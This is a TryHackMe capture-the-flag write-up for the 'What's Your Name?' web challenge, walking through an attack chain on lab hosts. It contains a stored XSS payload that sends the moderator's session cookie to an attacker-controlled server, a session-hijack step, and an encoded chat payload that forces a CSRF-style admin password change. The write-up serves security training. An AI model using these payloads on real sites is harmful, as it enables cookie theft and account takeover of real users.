What's Your Name? Web Challenge — TryHackMe
TL;DR
This challenge involved chaining multiple web vulnerabilities across two related applications:
worldwap.thm and login.worldwap.thm.
Initial reconnaissance revealed public endpoints, JavaScript files and moderator-related API
functionality.
By registering a new account with a malicious payload in the Name field, it was
possible to trigger a stored XSS when a moderator reviewed the registration.
The payload exfiltrated the moderator’s PHPSESSID, allowing access to the moderator
account and retrieval of the first flag.
Once acting as a moderator, an API request was used to approve and promote the attacker-controlled
account. Further enumeration of the secondary application at login.worldwap.thm
exposed an admin-only password change feature and a chat system. A malicious chat message
containing an HTML payload was then used to perform a CSRF-style password change
against the administrator, leading to full account takeover and retrieval of the final flag.
Challenge Overview
The main application exposed both registration and login functionality. During the initial review, two accessible interfaces stood out:
- A public application at
worldwap.thm. - A secondary login platform at
login.worldwap.thm.
The first application presented standard login and registration pages.
Reconnaissance on worldwap.thm
I started with directory enumeration against http://worldwap.thm.
gobuster dir \ -u http://worldwap.thm \ -w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt \ -x php,txt,js,html \ -t 30 \ --timeout 20s \ --delay 50ms \ -o gobuster_results.txt
=============================================================== Starting gobuster in directory enumeration mode =============================================================== /logs.txt (Status: 200) [Size: 0] /api (Status: 301) [Size: 310] [--> http://worldwap.thm/api/] /javascript (Status: 301) [Size: 317] [--> http://worldwap.thm/javascript/] /public (Status: 301) [Size: 313] [--> http://worldwap.thm/public/] /index.php (Status: 302) [Size: 0] [--> /public/html/] /phpmyadmin (Status: 301) [Size: 317] [--> http://worldwap.thm/phpmyadmin/] /server-status (Status: 403) [Size: 277]
During manual browsing and recon, several API endpoints were identified:
/api/mod.php
/api/mod_update.php?userId=${user.id}
/api/add_post.php
/api/edit_post.php
/api/delete_post.php
/api/posts.php
These endpoints strongly suggested the presence of moderator functionality.
Inspecting JavaScript and Moderator Functionality
The /public directory exposed several JavaScript files.
admin.js dashboard.js login.js logout.js mod.js register.js
The most interesting file was mod.js, which revealed how the moderation workflow
operated.
/api/mod.phpreturned a JSON list of user information, includingid,username,emailandname./api/mod_update.php?userId={id}was used to update or activate user accounts.
At this point, it was clear that newly registered users needed approval from a moderator before becoming active.
Stored XSS in the Name Field
After spending some time crawling the application without finding an obvious direct entry point, I focused on the registration process. Since a moderator had to review newly created accounts, this created an opportunity to test for stored XSS in user-controlled fields.
I created a new account and inserted the following payload in the Name field:
<script>document.location='http://10.X.X.X:8000/?cookie='+document.cookie</script>
Before doing so, I started a simple HTTP server on the attacker machine:
python3 -m http.server 8000
When the moderator reviewed the registration request, the payload executed in the moderator’s
browser and exfiltrated the PHPSESSID to the attacker-controlled server.
Session Hijacking and Moderator Access
After capturing the moderator’s session cookie, I replaced my own PHPSESSID value
with the stolen one and accessed the application dashboard.
This successfully authenticated me as the moderator.
This granted access to the moderation functionality and revealed the first flag.
Promoting the Attacker Account
Once inside the moderator account, I used the exposed API functionality to approve or promote my own registered user.
By sending a request to the mod_update.php endpoint with my account’s user ID, I was
able to update the account state and gain elevated access for my own user.
After that, I logged into my own account with the updated privileges.
Reconnaissance on login.worldwap.thm
The next stage involved enumerating the secondary application hosted at
login.worldwap.thm.
gobuster dir \ -u http://login.worldwap.thm \ -w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt \ -x php,txt,js,html \ -t 30 \ --timeout 20s \ --delay 50ms
=============================================================== Starting gobuster in directory enumeration mode =============================================================== /logout.php (Status: 302) [Size: 0] [--> login.php] /login.php (Status: 200) [Size: 3108] /logs.txt (Status: 200) [Size: 0] /assets (Status: 301) [Size: 325] [--> http://login.worldwap.thm/assets/] /db.php (Status: 200) [Size: 0] /javascript (Status: 301) [Size: 329] [--> http://login.worldwap.thm/javascript/] /chat.php (Status: 302) [Size: 0] [--> login.php] /index.php (Status: 200) [Size: 70] /profile.php (Status: 302) [Size: 0] [--> login.php] /phpmyadmin (Status: 301) [Size: 329] [--> http://login.worldwap.thm/phpmyadmin/] /setup.php (Status: 200) [Size: 149] /block.php (Status: 200) [Size: 15] /server-status (Status: 403) [Size: 283] /clear.php (Status: 200) [Size: 4] /change_password.php (Status: 302) [Size: 4] [--> login.php]
This enumeration exposed two especially interesting features:
chat.php— a chat system.change_password.php— a password change feature.
Because the moderator had previously posted that login.worldwap.thm is operational and
working, I reused the captured moderator session to access the secondary application.
This revealed the first flag in the secondary interface and exposed additional privileged tabs.
Admin-Only Change Password Functionality
Inside login.worldwap.thm, two new features became available:
- Change Password
- Go to Chat
The Change Password functionality was especially important because it was only
accessible to administrators.
This suggested a potential path to account takeover if a request could be forced in the admin’s
browser.
CSRF Through the Chat System
Since there was a chat feature and the administrator interacted with it, I used it as a delivery
mechanism for a malicious payload.
The goal was to force the administrator’s browser to submit a request to
/change_password.php and change the password to a known value.
The payload was sent as a chat message:
POST /chat.php HTTP/1.1 Host: login.worldwap.thm Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=jpj6eiaog90mhccove8c5eh99v message=%3Cimg+src%3D%22x%22+onerror%3D%22fetch%28%27%2Fchange_password.php%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%27application%2Fx-www-form-urlencoded%27%7D%2Ccredentials%3A%27include%27%2Cbody%3A%27new_password%3DPassword123%21%26confirm_password%3DHackedPassword123%21%27%7D%29%22%3E
In a more readable format, the injected HTML was:
<img src="x" onerror="fetch('/change_password.php',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'new_password=Password123!'
})">
When the administrator viewed the message, the browser executed the payload and sent a password change request using the administrator’s authenticated session.
Administrator Account Takeover
After the password reset succeeded, I simply logged into the administrator account using the new known password.
This granted full access to the admin account and revealed the final flag.
Attack Chain
- Enumerated
worldwap.thmand discovered public directories, APIs and JavaScript files. - Inspected
mod.jsand identified moderator-related endpoints. - Registered a new account and injected a stored XSS payload into the
Namefield. - Captured the moderator’s
PHPSESSIDwhen the moderator reviewed the malicious registration. - Hijacked the moderator session and accessed the moderator dashboard.
- Used the moderator API to approve/promote the attacker-controlled account.
- Enumerated
login.worldwap.thmand identifiedchat.phpandchange_password.php. - Reused the moderator session in the secondary application and obtained the first flag there.
- Used the chat feature to deliver a CSRF-style password change payload to the administrator.
- Changed the administrator password to a known value and logged into the admin account.
- Retrieved the final flag from the compromised administrator account.